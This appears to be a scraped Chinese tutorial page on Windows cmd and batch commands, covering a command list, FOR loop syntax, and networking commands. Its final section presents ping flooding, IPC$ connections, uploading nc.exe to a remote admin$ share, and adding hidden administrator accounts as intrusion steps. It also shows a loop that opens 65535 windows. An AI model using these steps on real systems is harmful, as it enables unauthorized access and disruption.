cmd+和批處理命令完整_第1頁
cmd+和批處理命令完整_第2頁
cmd+和批處理命令完整_第3頁
cmd+和批處理命令完整_第4頁
cmd+和批處理命令完整_第5頁
已閱讀5頁,還剩41頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

CALL從另一個(gè)批處理程序調(diào)用這一個(gè)。CD顯示當(dāng)前目錄的名稱或?qū)⑵涓?。CHCP顯示或設(shè)置活動(dòng)代碼頁數(shù)。CHDIR顯示當(dāng)前目錄的名稱或?qū)⑵涓?。CHKDSK檢查磁盤并顯示狀態(tài)報(bào)告。CHKNTFS顯示或修改啟動(dòng)時(shí)間磁盤檢查。CLS清除屏幕。CMD打開另一個(gè)Windows命令解釋程序窗口。COLOR設(shè)置默認(rèn)控制臺(tái)前景和背景顏色。COMP比較兩個(gè)或兩套文件的內(nèi)容。COMPACT顯示或更改NTFS分區(qū)上文件的壓縮。CONVERT將FAT卷轉(zhuǎn)換成NTFS。您不能轉(zhuǎn)換當(dāng)前驅(qū)動(dòng)器。COPY將至少一個(gè)文件復(fù)制到另一個(gè)位置。DATE顯示或設(shè)置日期。DEL刪除至少一個(gè)文件。DIR顯示一個(gè)目錄中的文件和子目錄。DISKCOMP比較兩個(gè)軟盤的內(nèi)容。DISKCOPY將一個(gè)軟盤的內(nèi)容復(fù)制到另一個(gè)軟盤。DOSKEY編輯命令行、調(diào)用Windows命令并創(chuàng)建宏。ECHO顯示消息,或?qū)⒚罨仫@打開或關(guān)上。ENDLOCAL結(jié)束批文件中環(huán)境更改的本地化。ERASE刪除至少一個(gè)文件。EXIT退出CMD.EXE程序(命令解釋程序)。FC比較兩個(gè)或兩套文件,并顯示不同處。FIND在文件中搜索文字字符串。FINDSTR在文件中搜索字符串。FOR為一套文件中的每個(gè)文件運(yùn)行一個(gè)指定的命令。FORMAT格式化磁盤,以便跟Windows使用。FTYPE顯示或修改用于文件擴(kuò)展名關(guān)聯(lián)的文件類型。GOTO將Windows命令解釋程序指向批處理程序中某個(gè)標(biāo)明的行。GRAFTABL啟用Windows來以圖像模式顯示擴(kuò)展字符集。HELP提供Windows命令的幫助信息。IF執(zhí)行批處理程序中的條件性處理。LABEL創(chuàng)建、更改或刪除磁盤的卷標(biāo)。MD創(chuàng)建目錄。MKDIR創(chuàng)建目錄。MODE配置系統(tǒng)設(shè)備。MORE一次顯示一個(gè)結(jié)果屏幕。MOVE將文件從一個(gè)目錄移到另一個(gè)目錄。PATH顯示或設(shè)置可執(zhí)行文件的搜索路徑。PAUSE暫停批文件的處理并顯示消息。POPD還原PUSHD保存的當(dāng)前目錄的上一個(gè)值。PRINT打印文本文件。PROMPT更改Windows命令提示符。PUSHD保存當(dāng)前目錄,然后對(duì)其進(jìn)行更改。RD刪除目錄。RECOVER從有問題的磁盤恢復(fù)可讀信息。REM記錄批文件或CONFIG.SYS中的注釋。REN重命名文件。RENAME重命名文件。REPLACE替換文件。RMDIR刪除目錄。SET顯示、設(shè)置或刪除Windows環(huán)境變量。SETLOCAL開始批文件中環(huán)境更改的本地化。SHIFT更換批文件中可替換參數(shù)的位置。SORT對(duì)輸入進(jìn)行分類。START啟動(dòng)另一個(gè)窗口來運(yùn)行指定的程序或命令。SUBST將路徑跟一個(gè)驅(qū)動(dòng)器號(hào)關(guān)聯(lián)。TIME顯示或設(shè)置系統(tǒng)時(shí)間。TITLE設(shè)置CMD.EXE會(huì)話的窗口標(biāo)題。TREE以圖形模式顯示驅(qū)動(dòng)器或路徑的目錄結(jié)構(gòu)。TYPE顯示文本文件的內(nèi)容。VER顯示W(wǎng)indows版本。VERIFY告訴Windows是否驗(yàn)證文件是否已正確寫入磁盤。VOL顯示磁盤卷標(biāo)和序列號(hào)。XCOPY復(fù)制文件和目錄樹。appwiz.cpl------------添加刪除程序controluserpasswords2--------用戶帳戶設(shè)置cleanmgr-------垃圾整理CMD--------------命令提示符可以當(dāng)作是Windows的一個(gè)附件,Ping,Convert這些不能在圖形環(huán)境下使用的功能要借助它來完成。cmd------jview察看Java虛擬機(jī)版本。------調(diào)用的則是系統(tǒng)內(nèi)置的NTVDM,一個(gè)DOS虛擬機(jī)。它完全是一個(gè)類似VirtualPC的虛擬環(huán)境,和系統(tǒng)本身聯(lián)系不大。當(dāng)我們?cè)诿钐崾痉逻\(yùn)行DOS程序時(shí),實(shí)際上也是自動(dòng)轉(zhuǎn)移到NTVDM虛擬機(jī)下,和CMD本身沒什么關(guān)系。calc-----------啟動(dòng)計(jì)算器chkdsk.exe-----Chkdsk磁盤檢查compmgmt.msc---計(jì)算機(jī)管理conf-----------啟動(dòng)netmeetingcontroluserpasswords2-----UserAccount權(quán)限設(shè)置devmgmt.msc---設(shè)備管理器diskmgmt.msc---磁盤管理實(shí)用程序dfrg.msc-------磁盤碎片整理程序drwtsn32------系統(tǒng)醫(yī)生dvdplay--------啟動(dòng)MediaPlayerdxdiag-----------DirectXDiagnosticToolgpedit.msc-------組策略編輯器gpupdate/target:computer/force強(qiáng)制刷新組策略eventvwr.exe-----事件查看器explorer-------打開資源管理器logoff---------注銷命令lusrmgr.msc----本機(jī)用戶和組msinfo32---------系統(tǒng)信息msconfig---------系統(tǒng)配置實(shí)用程序netstart(servicename)----啟動(dòng)該服務(wù)netstop(servicename)-----停止該服務(wù)notepad--------打開記事本nusrmgr.cpl-------同controluserpasswords,打開用戶帳戶控制面板Nslookup-------IP地址偵測(cè)器oobe/msoobe/a----檢查XP是否激活perfmon.msc----計(jì)算機(jī)性能監(jiān)測(cè)程序progman--------程序管理器regedit----------注冊(cè)表編輯器regedt32-------注冊(cè)表編輯器regsvr32/u*.dll----停止dll文件運(yùn)行routeprint------查看路由表rononce-p----15秒關(guān)機(jī)rsop.msc-------組策略結(jié)果集rundll32.exerundll32.exe%Systemroot%System32shimgvw.dll,ImageView_Fullscreen----啟動(dòng)一個(gè)空白的Windows圖片和傳真查看器secpol.msc--------本地安全策略services.msc---本地服務(wù)設(shè)置sfc/scannow-----啟動(dòng)系統(tǒng)文件檢查器sndrec32-------錄音機(jī)taskmgr-----任務(wù)管理器(適用于2000/xp/2003)tsshutdn-------60秒倒計(jì)時(shí)關(guān)機(jī)命令winchat--------XP自帶局域網(wǎng)聊天winmsd---------系統(tǒng)信息winver-----顯示AboutWindows窗口wupdmgr-----------WindowsUpdate第二章DOS循環(huán):for命令詳解

講FOR之前呢,咋先告訴各位新手朋友,如果你有什么命令不懂,直接在CMD下面輸入:

name/?這樣的格式來看系統(tǒng)給出的幫助文件,比如for/?就會(huì)把FOR命令的幫助全部顯示出來!當(dāng)然許多菜鳥都看不懂....所以才會(huì)有那么多批處理文章!!!!俺也照顧菜鳥,把FOR命令用我自己的方式說明下!

正式開始:

一、基本格式

FOR%%variableIN(set)DOcommand[command-parameters]

%%variable

指定一個(gè)單一字母表示可替換的參數(shù)。

(set)

指定一個(gè)或一組文件??梢允褂猛ㄅ浞?。

command指定對(duì)每個(gè)文件執(zhí)行的命令。

command-parameters

為特定命令指定參數(shù)或命令行開關(guān)。

參數(shù):FOR有4個(gè)參數(shù)/d/l/r/f他們的作用我在下面用例子解釋

現(xiàn)在開始講每個(gè)參數(shù)的意思

二、參數(shù)/d

FOR/D%%variableIN(set)DOcommand[command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件

名匹配。

如果Set(也就是我上面寫的"相關(guān)文件或命令")包含通配符(*和?),將對(duì)與Set相匹配的每個(gè)目錄(而不是指定目錄中的文件組)執(zhí)行指定的Command。

這個(gè)參數(shù)主要用于目錄搜索,不會(huì)搜索文件,看這樣的例子

@echooff

for/d%%iin(c:\*)doecho%%i

pause

運(yùn)行會(huì)把C盤根目錄下的全部目錄名字打印出來,而文件名字一個(gè)也不顯示!

在來一個(gè),比如我們要把當(dāng)前路徑下文件夾的名字只有1-3個(gè)字母的打出來

@echooff

for/d%%iin(???)doecho%%i

pause

這樣的話如果你當(dāng)前目錄下有目錄名字只有1-3個(gè)字母的,就會(huì)顯示出來,沒有就不顯示了

這里解釋下*號(hào)和?號(hào)的作用,*號(hào)表示任意N個(gè)字符,而?號(hào)只表示任意一個(gè)字符

知道作用了,給大家個(gè)思考題目!

@echooff

for/d%%iin(window?)doecho%%i

pause

保存到C盤下執(zhí)行,會(huì)顯示什么呢?自己看吧!顯示:windows

/D參數(shù)只能顯示當(dāng)前目錄下的目錄名字,這個(gè)大家要注意!

三、參數(shù)/R

FOR/R[[drive:]path]%%variableIN(set)DOcommand[command-parameters]

檢查以[drive:]path為根的目錄樹,指向每個(gè)目錄中的

FOR語句。如果在/R后沒有指定目錄,則使用當(dāng)前

目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹。

遞歸

上面我們知道,/D只能顯示當(dāng)前路徑下的目錄名字,那么現(xiàn)在這個(gè)/R也是和目錄有關(guān),他能干嘛呢?放心他比/D強(qiáng)大多了!

他可以把當(dāng)前或者你指定路徑下的文件名字全部讀取,注意是文件名字,有什么用看例子!

請(qǐng)注意2點(diǎn):

1、set中的文件名如果含有通配符(?或*),則列舉/R參數(shù)指定的目錄及其下面的所用子目錄中與set相符合的所有文件,無相符文件的目錄則不列舉。

2、相反,如果set中為具體文件名,不含通配符,則枚舉該目錄樹(即列舉該目錄及其下面的所有子目錄),而不管set中的指定文件是否存在。這與前面所說的單點(diǎn)(.)枚舉目錄樹是一個(gè)道理,單點(diǎn)代表當(dāng)前目錄,也可視為一個(gè)文件。

例:

@echooff

for/rc:\%%iin(*.exe)doecho%%i

pause

咱們把這個(gè)BAT保存到D盤隨便哪里然后執(zhí)行,我會(huì)就會(huì)看到,他把C盤根目錄,和每個(gè)目錄的子目錄下面全部的EXE文件都列出來了!!!!

例:

@echooff

for/r%%iin(*.exe)do@echo%%i

pause

參數(shù)不一樣了吧!這個(gè)命令前面沒加那個(gè)C:\也就是搜索路徑,這樣他就會(huì)以當(dāng)前目錄為搜索路徑,比如你這個(gè)BAT你把他放在d:\test目錄下執(zhí)行,那么他就會(huì)把D:\test目錄和他下面的子目錄的全部EXE文件列出來!!!

例:

@echooff

for/rc:\%%iin(boot.ini)doecho%%i

pause

運(yùn)行本例發(fā)現(xiàn)枚舉了c盤所有目錄,為了只列舉boot.ini存在的目錄,可改成下面這樣:

@echooff

for/rc:\%%iin(boot.ini)doifexist%%iecho%%i

pause

用這條命令搜索文件真不錯(cuò)。。。。。。

這個(gè)參數(shù)大家應(yīng)該理解了吧!還是滿好玩的命令!

四、參數(shù)/L

FOR/L%%variableIN(start,step,end)DOcommand[command-parameters]

該集表示以增量形式從開始到結(jié)束的一個(gè)數(shù)字序列。

因此,(1,1,5)將產(chǎn)生序列12345,(5,-1,1)將產(chǎn)生

序列(54321)。

使用迭代變量設(shè)置起始值(Start#),然后逐步執(zhí)行一組范圍的值,直到該值超過所設(shè)置的終止值(End#)。/L將通過對(duì)Start#與End#進(jìn)行比較來執(zhí)行迭代變量。如果Start#小于End#,就會(huì)執(zhí)行該命令。如果迭代變量超過End#,則命令解釋程序退出此循環(huán)。還可以使用負(fù)的Step#以遞減數(shù)值的方式逐步執(zhí)行此范圍內(nèi)的值。例如,(1,1,5)生成序列12345,而(5,-1,1)則生成序列(54321)。語法是:

看著這說明有點(diǎn)暈吧!咱們看例子就不暈了!

@echooff

for/l%%iin(1,1,5)do@echo%%i

pause

保存執(zhí)行看效果,他會(huì)打印從12345

這樣5個(gè)數(shù)字

(1,1,5)這個(gè)參數(shù)也就是表示從1開始每次加1直到5終止!

等會(huì)暈,就打印個(gè)數(shù)字有P用...好的滿足大家,看這個(gè)例子

@echooff

for/l%%iin(1,1,5)dostartcmd

pause

執(zhí)行后是不是嚇了一跳,怎么多了5個(gè)CMD窗口,呵呵!如果把那個(gè)(1,1,5)改成(1,1,65535)會(huì)有什么結(jié)果,我先告訴大家,會(huì)打開65535個(gè)CMD窗口....這么多你不死機(jī)算你強(qiáng)!

當(dāng)然我們也可以把那個(gè)startcmd改成md%%i這樣就會(huì)建立指定個(gè)目錄了!!!名字為1-65535

看完這個(gè)被我賦予破壞性質(zhì)的參數(shù)后,我們來看最后一個(gè)參數(shù)

五、參數(shù)/F

\迭代及文件解析

使用文件解析來處理命令輸出、字符串及文件內(nèi)容。使用迭代變量定義要檢查的內(nèi)容或字符串,并使用各種options選項(xiàng)進(jìn)一步修改解析方式。使用options令牌選項(xiàng)指定哪些令牌應(yīng)該作為迭代變量傳遞。請(qǐng)注意:在沒有使用令牌選項(xiàng)時(shí),/F將只檢查第一個(gè)令牌。

文件解析過程包括讀取輸出、字符串或文件內(nèi)容,將其分成獨(dú)立的文本行以及再將每行解析成零個(gè)或更多個(gè)令牌。然后通過設(shè)置為令牌的迭代變量值,調(diào)用for循環(huán)。默認(rèn)情況下,/F傳遞每個(gè)文件每一行的第一個(gè)空白分隔符號(hào)。跳過空行。

詳細(xì)的幫助格式為:

FOR/F["options"]%%variableIN(file-set)DOcommand[command-parameters]

FOR/F["options"]%%variableIN("string")DOcommand[command-parameters]

FOR/F["options"]%%variableIN('command')DOcommand[command-parameters]

帶引號(hào)的字符串"options"包括一個(gè)或多個(gè)

指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為:

eol=c

-指一個(gè)行注釋字符的結(jié)尾(就一個(gè))

skip=n

-指在文件開始時(shí)忽略的行數(shù)。

delims=xxx

-指分隔符集。這個(gè)替換了空格和跳格鍵的

默認(rèn)分隔符集。

tokens=x,y,m-n

-指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代

的for本身。這會(huì)導(dǎo)致額外變量名稱的分配。m-n

格式為一個(gè)范圍。通過nth符號(hào)指定mth。如果

符號(hào)字符串中的最后一個(gè)字符星號(hào),

那么額外的變量將在最后一個(gè)符號(hào)解析之后

分配并接受行的保留文本。經(jīng)測(cè)試,該參數(shù)最多

只能區(qū)分31個(gè)字段。

usebackq

-使用后引號(hào)(鍵盤上數(shù)字1左面的那個(gè)鍵`)。

未使用參數(shù)usebackq時(shí):file-set表示文件,但不能含有空格

雙引號(hào)表示字符串,即"string"

單引號(hào)表示執(zhí)行命令,即'command'

使用參數(shù)usebackq時(shí):file-set和"file-set"都表示文件

當(dāng)文件路徑或名稱中有空格時(shí),就可以用雙引號(hào)括起來

單引號(hào)表示字符串,即'string'

后引號(hào)表示命令執(zhí)行,即`command`

以上是用for/?命令獲得的幫助信息,直接復(fù)制過來的。

暈慘了!我這就舉個(gè)例子幫助大家來理解這些參數(shù)!

For命令例1:****************************************

@echooff

rem首先建立臨時(shí)文件test.txt

echo;注釋行,這是臨時(shí)文件,用完刪除>test.txt

echo11段12段13段14段15段16段>>test.txt

echo21段,22段,23段,24段,25段,26段>>test.txt

echo31段-32段-33段-34段-35段-36段>>test.txt

FOR/F"eol=;tokens=1,3*delims=,-"%%iin(test.txt)doecho%%i%%j%%k

Pause

Deltest.txt

運(yùn)行顯示結(jié)果:

11段13段14段15段16段

21段23段24段,25段,26段

31段33段34段-35段-36段

請(qǐng)按任意鍵繼續(xù)...

為什么會(huì)這樣?我來解釋:

eol=;

分號(hào)開頭的行為注釋行

tokens=1,3*將每行第1段,第3段和剩余字段分別賦予變量%%i,%%j,%%k

delims=,-

(減號(hào)后有一空格)以逗號(hào)減號(hào)和空格為分隔符,空格必須放在最后

For命令例2:****************************************

@echooff

FOR/F"eol=delims="%%iin(test.txt)doecho%%i

Pause

運(yùn)行將顯示test.txt全部?jī)?nèi)容,包括注釋行,不解釋了哈。

For命令例3:****************************************

另外/F參數(shù)還可以以輸出命令的結(jié)果看這個(gè)例子

@echooff

FOR/F"delims="%%iin('netuser')do@echo%%i

pause

這樣你本機(jī)全部帳號(hào)名字就出來了把擴(kuò)號(hào)內(nèi)的內(nèi)容用兩個(gè)單引號(hào)引起來就表示那個(gè)當(dāng)命令執(zhí)行,FOR會(huì)返回命令的每行結(jié)果,加那個(gè)"delims="是為了讓我空格的行能整行顯示出來,不加就只顯示空格左邊一列!

基本上講完了FOR的基本用法了...如果你看過FOR的系統(tǒng)幫助,你會(huì)發(fā)現(xiàn)他下面還有一些特定義的變量,這些我先不講.大家因該都累了吧!你不累我累啊....tokens和delims的應(yīng)用delims是指分割符,tokens是指選取分割后得到的字符串片斷。

以下面這段代碼為例:

FOR/F"eol=;tokens=2,3*delims=,"%iin("a,bc,def,ghij,jklmn")do@echo%i%j%k

其中Delims是“,”,所以"a,bc,def,ghij,klmn")被分隔成了abcdefghijklmn這5段。

tokens=2,3*表示取第2個(gè)片段、第3個(gè)片段以及第3個(gè)片段以后的所有片段,亦即:

%i=bc

%j=def

%k=ghij,klmn(此處“*”表示從第4個(gè)片段開始就不用再分割了,統(tǒng)統(tǒng)賦給%k)

所以如果你代碼中用“tokens=*”的話,就表示不進(jìn)行任何分割,直接把當(dāng)前行賦給循環(huán)變量。

內(nèi)容如下

helloworld

thankyouvery

youareverygood

這三行內(nèi)容

for/f"tokens=*"%ain(a.txt)do@echo%a

helloworld

thankyouvery

youareverygood

"tokens=*"他可以變相的把每行前面的空格刪除掉

for/f"delims="%ain(a.txt)do@echo%a

helloworld

thankyouvery

youareverygood

實(shí)例1:

kill.txt文件中保存著需要?jiǎng)h除的文件名,每個(gè)文件名一行,有些文件名中有空格,用如下格式只能刪除文件名中沒有空格的文件,怎樣才能刪除文件名中有空格的文件?或者怎樣才能把有空格的整行數(shù)據(jù)賦予變量i,而不是只把第一列的值賦予變量i

錯(cuò)誤:

For/f%%iin(kill.txt)DOdel

%%i這樣不能刪除帶有空格文件名的文件.

正確:

For/F"delims=*"%%iin(kill.txt)DOdel

"%%i"FOR"usebackq"的應(yīng)用

對(duì)于帶有空格的文件名,您需要用雙引號(hào)""將文件名括起來。為了用這種方式來使

用雙引號(hào),您還需要使用usebackq選項(xiàng),否則,雙引號(hào)""會(huì)被理解成是用作定義某個(gè)要分析的字符串的。

例:

不能用:for/f"tokens=*"%iin("ABC123.TXT")doecho%i(輸出結(jié)果:ABC123.TXT)

但上面結(jié)果并非我們意愿結(jié)果(即,要顯示“ABC123.TXT”這個(gè)文件的每一行內(nèi)容)。

因?yàn)閒or把括引ABC123.TXT的引號(hào)解釋為括引一個(gè)字符串之用的引號(hào)了,所以for認(rèn)為"ABC123.TXT"是字符串,而不是文件名。

正確的是:for/f"usebackqtokens=*"%iin("ABC123.TXT")doecho%i

當(dāng)使用usebackq參數(shù)時(shí),for正確解釋了括引這個(gè)含有空格文件名的引號(hào),也正常讀取出了這個(gè)

含有空格文件名的文件內(nèi)容了

要在用FOR中看到在直接CMD運(yùn)行的內(nèi)容用usebackq命令行要用倒引號(hào)``(左上角數(shù)字鍵1左邊)

例:

for/f"usebackqdelims=="%%iin(`set`)do@echo%%i

for/f"delims=="%%iin('set')do@echo%%i

usebackq

-

使用后引號(hào)(鍵盤上數(shù)字1左面的那個(gè)鍵`)。

未使用參數(shù)usebackq時(shí):file-set表示文件,但不能含有空格

雙引號(hào)表示字符串,即"string"

單引號(hào)表示執(zhí)行命令,即'command'

使用參數(shù)usebackq時(shí):file-set和"file-set"都表示文件

當(dāng)文件路徑或名稱中有空格時(shí),就可以用雙引號(hào)括起來

單引號(hào)表示字符串,即'string'

后引號(hào)表示命令執(zhí)行,即`command`

實(shí)例1:

用for來獲取帶空格的路徑

錯(cuò)誤:

FOR/F%%iIN('DIR"C:\programfiles\WinRAR\*.exe"/s/b')doecho%%i%%i只能獲取c:\program

正確:

FOR/F"usebackqtokens=3*delims=\"%%iIN(`DIR"C:\programfiles\WinRAR\*.exe"/s/b`)doecho%%j請(qǐng)注意這里用到usebackq圓括號(hào)里面要用后引號(hào)括起來,不是單引號(hào)括起來的,執(zhí)行的是命令八個(gè)Dos命令詳解

一,ping

它是用來檢查網(wǎng)絡(luò)是否通暢或者網(wǎng)絡(luò)連接速度的命令。作為一個(gè)生活在網(wǎng)絡(luò)上的管理員或者黑客來說,ping命令是第一個(gè)必須掌握的DOS命令,它所利用的原理是這樣的:網(wǎng)絡(luò)上的機(jī)器都有唯一確定的IP地址,我們給目標(biāo)IP地址發(fā)送一個(gè)數(shù)據(jù)包,對(duì)方就要返回一個(gè)同樣大小的數(shù)據(jù)包,根據(jù)返回的數(shù)據(jù)包我們可以確定目標(biāo)主機(jī)的存在,可以初步判斷目標(biāo)主機(jī)的操作系統(tǒng)等。下面就來看看它的一些常用的操作。先看看幫助吧,在DOS窗口中鍵入:ping/?回車,。所示的幫助畫面。在此,我們只掌握一些基本的很有用的參數(shù)就可以了(下同)。

-t表示將不間斷向目標(biāo)IP發(fā)送數(shù)據(jù)包,直到我們強(qiáng)迫其停止。試想,如果你使用100M的寬帶接入,而目標(biāo)IP是56K的小貓,那么要不了多久,目標(biāo)IP就因?yàn)槌惺懿涣诉@么多的數(shù)據(jù)而掉線,呵呵,一次攻擊就這么簡(jiǎn)單的實(shí)現(xiàn)了。

-l定義發(fā)送數(shù)據(jù)包的大小,默認(rèn)為32字節(jié),我們利用它可以最大定義到65500字節(jié)。結(jié)合上面介紹的-t參數(shù)一起使用,會(huì)有更好的效果哦。

-n定義向目標(biāo)IP發(fā)送數(shù)據(jù)包的次數(shù),默認(rèn)為3次。如果網(wǎng)絡(luò)速度比較慢,3次對(duì)我們來說也浪費(fèi)了不少時(shí)間,因?yàn)楝F(xiàn)在我們的目的僅僅是判斷目標(biāo)IP是否存在,那么就定義為一次吧。

說明一下,如果-t參數(shù)和-n參數(shù)一起使用,ping命令就以放在后面的參數(shù)為標(biāo)準(zhǔn),比如“pingIP-t-n3”,雖然使用了-t參數(shù),但并不是一直ping下去,而是只ping3次。另外,ping命令不一定非得pingIP,也可以直接ping主機(jī)域名,這樣就可以得到主機(jī)的IP。

下面我們舉個(gè)例子來說明一下具體用法。

這里time=2表示從發(fā)出數(shù)據(jù)包到接受到返回?cái)?shù)據(jù)包所用的時(shí)間是2秒,從這里可以判斷網(wǎng)絡(luò)連接速度的大小。從TTL的返回值可以初步判斷被ping主機(jī)的操作系統(tǒng),之所以說“初步判斷”是因?yàn)檫@個(gè)值是可以修改的。這里TTL=32表示操作系統(tǒng)可能是win98。

(小知識(shí):如果TTL=128,則表示目標(biāo)主機(jī)可能是Win2000;如果TTL=250,則目標(biāo)主機(jī)可能是Unix)

至于利用ping命令可以快速查找局域網(wǎng)故障,可以快速搜索最快的QQ服務(wù)器,可以對(duì)別人進(jìn)行ping攻擊……這些就*大家自己發(fā)揮了。

二,nbtstat

該命令使用TCP/IP上的NetBIOS顯示協(xié)議統(tǒng)計(jì)和當(dāng)前TCP/IP連接,使用這個(gè)命令你可以得到遠(yuǎn)程主機(jī)的NETBIOS信息,比如用戶名、所屬的工作組、網(wǎng)卡的MAC地址等。在此我們就有必要了解幾個(gè)基本的參數(shù)。

-a使用這個(gè)參數(shù),只要你知道了遠(yuǎn)程主機(jī)的機(jī)器名稱,就可以得到它的NETBIOS信息(下同)。

-A這個(gè)參數(shù)也可以得到遠(yuǎn)程主機(jī)的NETBIOS信息,但需要你知道它的IP。

-n列出本地機(jī)器的NETBIOS信息。

當(dāng)?shù)玫搅藢?duì)方的IP或者機(jī)器名的時(shí)候,就可以使用nbtstat命令來進(jìn)一步得到對(duì)方的信息了,這又增加了我們?nèi)肭值谋kU(xiǎn)系數(shù)。

三,netstat

這是一個(gè)用來查看網(wǎng)絡(luò)狀態(tài)的命令,操作簡(jiǎn)便功能強(qiáng)大。

-a查看本地機(jī)器的所有開放端口,可以有效發(fā)現(xiàn)和預(yù)防木馬,可以知道機(jī)器所開的服務(wù)等信息,如圖4。

這里可以看出本地機(jī)器開放有FTP服務(wù)、Telnet服務(wù)、郵件服務(wù)、WEB服務(wù)等。用法:netstat-aIP。

-r列出當(dāng)前的路由信息,告訴我們本地機(jī)器的網(wǎng)關(guān)、子網(wǎng)掩碼等信息。用法:netstat-rIP。

四,tracert

跟蹤路由信息,使用此命令可以查出數(shù)據(jù)從本地機(jī)器傳輸?shù)侥繕?biāo)主機(jī)所經(jīng)過的所有途徑,這對(duì)我們了解網(wǎng)絡(luò)布局和結(jié)構(gòu)很有幫助。如圖5。

這里說明數(shù)據(jù)從本地機(jī)器傳輸?shù)降臋C(jī)器上,中間沒有經(jīng)過任何中轉(zhuǎn),說明這兩臺(tái)機(jī)器是在同一段局域網(wǎng)內(nèi)。用法:tracertIP。

五,net

這個(gè)命令是網(wǎng)絡(luò)命令中最重要的一個(gè),必須透徹掌握它的每一個(gè)子命令的用法,因?yàn)樗墓δ軐?shí)在是太強(qiáng)大了,這簡(jiǎn)直就是微軟為我們提供的最好的入侵工具。首先讓我們來看一看它都有那些子命令,鍵入net/?回車如圖6。

在這里,我們重點(diǎn)掌握幾個(gè)入侵常用的子命令。

netview

使用此命令查看遠(yuǎn)程主機(jī)的所以共享資源。命令格式為netview\IP。

netuse

把遠(yuǎn)程主機(jī)的某個(gè)共享資源影射為本地盤符,圖形界面方便使用,呵呵。命令格式為netusex:\IPsharename。上面一個(gè)表示把IP的共享名為magic的目錄影射為本地的Z盤。下面表示和建立IPC$連接(netuse\IPIPC$"password"/user:"name"),

建立了IPC$連接后,呵呵,就可以上傳文件了:copync.exe\admin$,表示把本地目錄下的nc.exe傳到遠(yuǎn)程主機(jī),結(jié)合后面要介紹到的其他DOS命令就可以實(shí)現(xiàn)入侵了。

netstart

使用它來啟動(dòng)遠(yuǎn)程主機(jī)上的服務(wù)。當(dāng)你和遠(yuǎn)程主機(jī)建立連接后,如果發(fā)現(xiàn)它的什么服務(wù)沒有啟動(dòng),而你又想利用此服務(wù)怎么辦?就使用這個(gè)命令來啟動(dòng)吧。用法:netstartservername,如圖9,成功啟動(dòng)了telnet服務(wù)。

netstop

入侵后發(fā)現(xiàn)遠(yuǎn)程主機(jī)的某個(gè)服務(wù)礙手礙腳,怎么辦?利用這個(gè)命令停掉就ok了,用法和netstart同。

netuser

查看和帳戶有關(guān)的情況,包括新建帳戶、刪除帳戶、查看特定帳戶、激活帳戶、帳戶禁用等。這對(duì)我們?nèi)肭质呛苡欣?,最重要的,它為我們克隆帳戶提供了前提。鍵入不帶參數(shù)的netuser,可以查看所有用戶,包括已經(jīng)禁用的。下面分別講解。

1,netuserabcd1234/add,新建一個(gè)用戶名為abcd,密碼為1234的帳戶,默認(rèn)為user組成員。

2,netuserabcd/del,將用戶名為abcd的用戶刪除。

3,netuserabcd/active:no,將用戶名為abcd的用戶禁用。

4,netuserabcd/active:yes,激活用戶名為abcd的用戶。

5,netuserabcd,查看用戶名為abcd的用戶的情況

netlocalgroup

查看所有和用戶組有關(guān)的信息和進(jìn)行相關(guān)操作。鍵入不帶參數(shù)的netlocalgroup即列出當(dāng)前所有的用戶組。在入侵過程中,我們一般利用它來把某個(gè)帳戶提升為administrator組帳戶,這樣我們利用這個(gè)帳戶就可以控制整個(gè)遠(yuǎn)程主機(jī)了。用法:netlocalgroupgroupnameusername/add。

現(xiàn)在我們把剛才新建的用戶abcd加到administrator組里去了,這時(shí)候abcd用戶已經(jīng)是超級(jí)管理員了,呵呵,你可以再使用netuserabcd來查看他的狀態(tài),和圖10進(jìn)行比較就可以看出來。但這樣太明顯了,網(wǎng)管一看用戶情況就能漏出破綻,所以這種方法只能對(duì)付菜鳥網(wǎng)管,但我們還得知道。現(xiàn)在的手段都是利用其他工具和手段克隆一個(gè)讓網(wǎng)管看不出來的超級(jí)管理員,這是后話。有興趣的朋友可以參照《黑客防線》第30期上的《由淺入深解析隆帳戶》一文。

nettime

這個(gè)命令可以查看遠(yuǎn)程主機(jī)當(dāng)前的時(shí)間。如果你的目標(biāo)只是進(jìn)入到遠(yuǎn)程主機(jī)里面,那么也許就用不到這個(gè)命令了。但簡(jiǎn)單的入侵成功了,難道只是看看嗎?我們需要進(jìn)一步滲透。這就連遠(yuǎn)程主機(jī)當(dāng)前的時(shí)間都需要知道,因?yàn)槔脮r(shí)間和其他手段(后面會(huì)講到)可以實(shí)現(xiàn)某個(gè)命令和程序的定時(shí)啟動(dòng),為我們進(jìn)一步入侵打好基礎(chǔ)。用法:nettime\IP。

六,at

這個(gè)命令的作用是安排在特定日期或時(shí)間執(zhí)行某個(gè)特定的命令和程序(知道nettime的重要了吧?)。當(dāng)我們知道了遠(yuǎn)程主機(jī)的當(dāng)前時(shí)間,就可以利用此命令讓其在以后的某個(gè)時(shí)間(比如2分鐘后)執(zhí)行某個(gè)程序和命令。用法:attimecommand\computer。

表示在6點(diǎn)55分時(shí),讓名稱為a-01的計(jì)算機(jī)開啟telnet服務(wù)(這里netstarttelnet即為開啟telnet服務(wù)的命令)。

七,ftp

大家對(duì)這個(gè)命令應(yīng)該比較熟悉了吧?網(wǎng)絡(luò)上開放的ftp的主機(jī)很多,其中很大一部分是匿名的,也就是說任何人都可以登陸上去?,F(xiàn)在如果你掃到了一臺(tái)開放ftp服務(wù)的主機(jī)(一般都是開了21端口的機(jī)器),如果你還不會(huì)使用ftp的命令怎么辦?下面就給出基本的ftp命令使用方法。

首先在命令行鍵入ftp回車,出現(xiàn)ftp的提示符,這時(shí)候可以鍵入“help”來查看幫助(任何DOS命令都可以使用此方法查看其幫助)。

大家可能看到了,這么多命令該怎么用?其實(shí)也用不到那么多,掌握幾個(gè)基本的就夠了。

首先是登陸過程,這就要用到open了,直接在ftp的提示符下輸入“open主機(jī)IPftp端口”回車即可,一般端口默認(rèn)都是21,可以不寫。接著就是輸入合法的用戶名和密碼進(jìn)行登陸了,這里以匿名ftp為例介紹。

